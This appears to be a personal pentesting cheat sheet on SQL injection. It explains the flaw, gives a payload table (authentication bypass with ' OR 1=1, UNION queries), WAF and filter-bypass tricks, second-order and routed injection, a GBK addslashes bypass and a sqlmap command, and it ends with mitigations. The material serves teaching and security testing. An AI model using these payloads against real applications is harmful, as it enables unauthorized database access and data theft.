SQL injection (SQLi)
Most websites are using a relational database to store data along with the SQL query language to query the database. When input is passed directly to a request, it may lead to SQL injection.
For instance, this PHP code is vulnerable. We can inject SQL code as name
and the input will be interpreted as SQL code.
$name = $_GET['name']; // filled by the user
$sql = "Select name from product where name LIKE '%$name%'";
β
If the user enters the product name "yummy
":
Select name from product where name LIKE '%yummy%'";
β If the user enters the product name "' UNION SELECT "hacked"-- -
", malicious SQL code is appended and executed to fetch results.
Select name from product where name LIKE '%' UNION SELECT "hacked"-- -%'
β‘οΈ A hacker may be able to fetch/create/update/delete records.
π We use -- -
instead of --
for compatibility with MySQL.
π₯ While SQL injections are known since 1998, they are still a frequent vulnerability found in applications. They are found in every language.
SQLi categories
Tools π€
- sqlmap (discovery+exploitation)
- portswigger (cheatsheet)
In-band SQLi πΈ is a category of SQLi attacks for SQLis using the same channel to attack and to gather results.
Blind/inferential SQLi πΊοΈ is a category of SQLi attacks in which we observe the application response to infer results. You may use the HTML "names" as they may be the name of the attributes in the database if you can't access the database metadata.
- Boolean-based
- Time-based
- Out-of-band-based
- Voice-based
- Stacked queries-based (
req1 ; req2
)
SQLi payloads
Name | Expected SQL | Payload |
---|---|---|
Usual PoC | Select [...] where xxx='here' [...] | ' The query will fail as there would be 3 quotes, and that would confirm that an injection is possible. |
NoPassword | Select [...] where username='here' AND password='...' [...] | ' OR 1=1 -- - The query will bypass the check of the password, if it was made in the query. We use 1=1 for maximum compatibility. |
Input box String | Select [...] where xxx='here' [...] | ' code -- - |
Input box Non-String | Select [...] where xxx=here [...] | '' code -- - |
Update | Update [...] set x='here',y=[...] | ',x=(code),y=' |
Other characters such as "
, )
, #
, ;
, and their URL-encoded versions can be used to detect a SQL injection.
π As Union payloads are leveraged by most SQL injections, many payloads are listed there.
π Find tables such as INFORMATION_SCHEMA.TABLES
or sqlite_master
to determine the DBMS.
SQL Injection Filter Bypass
Keyword Filter Bypass
Keywords are case-insensitive.
- select
+ Select
+ SeleCT
+ SELECT
- OR
+ ||
- AND
+ &&
If multiple characters are banned, and whitespace filtering bypasses tricks don't work, you may exploit alternate syntaxes:
-UnIOn SeLeCT
+UnIOn aLL SeLeCT
Strings Filter Bypass
Sometimes, functions such as mysqli_real_escape_string
or addslashes
are used to escape a few characters including quotes. If the payload is quoted (where xxx='{payload}'
) then there is nothing we can do. Otherwise, if we need strings in unquoted payloads:
- If double quotes are banned, use single quotes, and vice-versa.
- Select 'toto'
+ Select "toto"
- If both are banned, try to craft a payload without any strings.
- [...] foo='toto'
+ [...] foo=(Select 0x746f746f)
+ [...] foo=CHAR(116,111,116,111)
+ [...] SUBSTR(foo, 1, 3)=CHAR(116,111,116)
+ [...] CAST(foo as BINARY(3))=CHAR(116,111,116)
+ [...] WEIGHT_STRING(username AS BINARY (3))=CHAR(116,111,116)
+ [...] unicode(substr(foo,1,1))=chr(116) -- sqlite
+ Select foo from bar LIMIT 0,1 -- until you find 'toto'
Use "0x" + ("toto".encode().hex())
Python code to get 0x746f746f
.
Use "CHAR(" + ",".join([str(ord(v)) for v in "toto"]) + ")"
Python code to get CHAR(116,111,116,111)
.
Table Attribute Filter Bypass
A trick from here. Assuming dummy
has two columns id
and flag
:
- SELECT flag FROM dummy;
+ SELECT T.2 FROM (SELECT 1,2 UNION SELECT * FROM dummy)T;
+ SELECT T.2 FROM (SELECT 1,2 EXCEPT SELECT 1,2 UNION SELECT * FROM dummy)T;
β οΈ The first row is 1, 2, etc.
unless skipped.
Whitespace Filter Bypass
When the character space is filtered, we should try every other blank character: 0x09
or \t
, 0x0A
or \n
, 0x0B
, 0x0C
, 0x0D
or \r
and 0xA0
.
Another way is to use comments, parenthesis, or backtick:
- Select foo from bar where foo='toto'
+ Select/**/foo/**/from/**/bar/**/where/**/foo='toto'
+ SELECT(foo)FROM(bar)where(foo='toto');
+ SELECT`foo`FROM`bar`where`foo`='toto';
There are a few more tricks!
- Select * From[...]
+ Select*From[...]
- Select 'toto' From[...]
+ Select'toto'From[...]
- [...]LIMIT 1
+ [...]LIMIT+1 -- sqlite only
- Select foo[...]
+ Select+foo[...] -- MySQL only?
Character Filter Bypass
Some characters may be banned:
- If comma is banned, you may sometimes find another alternative.
- [...] LIMIT 0,1
+ [...] LIMIT 1 OFFSET 0
- Select 1, 2
+ SELECT * FROM (Select 1)a JOIN (Select 2)b
- Some banned operators such as
=
can be bypassed using functions
- [...] WHERE 1=1
+ [...] WHERE 1 IN (1)
- [...] WHERE username='admin'
+ [...] WHERE STRCMP(username, 'admin') BETWEEN 0 AND 0
Additional Bypasses
Some additional notes for advanced filters:
- You can have spaces between the function name and its parenthesis:
a()
,a ()
, anda<tab>()
are all valid. - If the payload is sent from a XML, refer to this.
SQLi Lateral Movement
SQLi Filesystem Attacks
SQL injections can be used to read/write files if the user as sufficient permissions. Aside from root, it's not common.
SQLi Run Commands
No notes for now. Refer to sys_exec
?
Additional SQLi Attack
Second Order SQLi Attack
A second-order SQLi attack occurs when an initial request that is not vulnerable to SQLi stores SQL code within the database, code that is later reused to exploit a vulnerable request.
For instance, using an username such as admin'-- -
may also use to inject the invoice SQL query and fetch 'admin' records.
$ sqlmap --url 'URL/signup' --second-url 'URL/invoices' [...]
Routed injection
If we know or can guess the application flow, we may be able to forge an SQL statement with hard-coded data to control the program flow.
- Bypass login/register using hard-coded data
SELECT username,password,is_admin [...] WHERE username='<user_input>' [...]
SELECT [...] union select 'hello','world',TRUE -- hard-coded user injected
- Bypass chained statements using hard-coded data
-- return an ID
SELECT id [...] WHERE username='<user_input>'
-- User input: ' union select '1'' union select [...]-- -'
-- Payload: SELECT id [...] WHERE username='' union select '1'' union select [...]-- -'
-- User input: 0x312720756e696f6e2073656c656374205b2e2e2e5d2d2d202d
-- Payload: SELECT id [...] WHERE username='0x312720756e696f6e2073656c656374205b2e2e2e5d2d2d202d'
-- (Python=> "1' union select [...]-- -".encode().hex())
-- use the returned ID by previous SQL request
SELECT [...] WHERE id = '1' union select [...]-- -'
PHP addslashes GBK
Addslashes may rarely be used to prevent SQL injections. It's worth noting that it is only preventing SQL injections involving quotes.
When the database local is set to GBK and PHP version is 5, it's possible to perform an SQL injection including quotes.
λΌ§ or 1=1-- -
for0xbf27
λ½' or 1=1-- -
for0xbf5c
- ...
Otherwise, try to forge a payload without any quotes.
SQL LIKE Enumeration
It's common to find PHP apps that implemented a search feature based on the SQL LIKE
while passing the input to a prepared request.
We cannot escape the string context, but we may be able to extract every matching record using brute force.
This is very unlikely to be useful, but there are my notes:
- You can find the payload length by adding
_
until the requests fails - You can brute force characters one by one by testing all possibles characters for each spot within the payload.
- Still note that you may have to handle case where
?
and_
where used within the string. Also don't forgot the URL encode payloads.
%_% # OK
...
%_______% # KO: length is (7-1)
%a_____% # KO
%b_____% # KO
%c_____% # OK => found one for index=0,len=6
...
%_a____%
...
SQLi mitigations π‘οΈ
-
Use prepared requests (statements), they are ensuring that the parameters of your queries are not interpreted as SQL code
-
Input validation or escaping user input: You can filter and validate input, but you CAN'T rely on it, as your filter will most likely be bypassed. Front-end validations are not enough.
-
Do not trust anyone π. SQL injections may be delayed. For instance, one may have protected the login queries, but if someone submitted SQL code as their username, then any other request using the username may interpret it.
-
Keep quiet about errors πͺ². Do not display SQL/DBMS errors to prevent error-based SQLi. Do not be too specific if you can. For instance, you may use
invalid credentials
instead ofinvalid password
to prevent username enumeration. -
Apply the least privilege principle π«. Use accounts with the least permission. Restrict/Revoke file permissions.
Some network security devices such as a WAF may be configured to detect/block SQLi attacks and other common attacks.
π» To-do π»
Stuff that I found, but never read/used yet.
- sqlinjection.net
CURRENT_USER()
and other commands to learn about the DBSelect @@global.xxx
to read a variable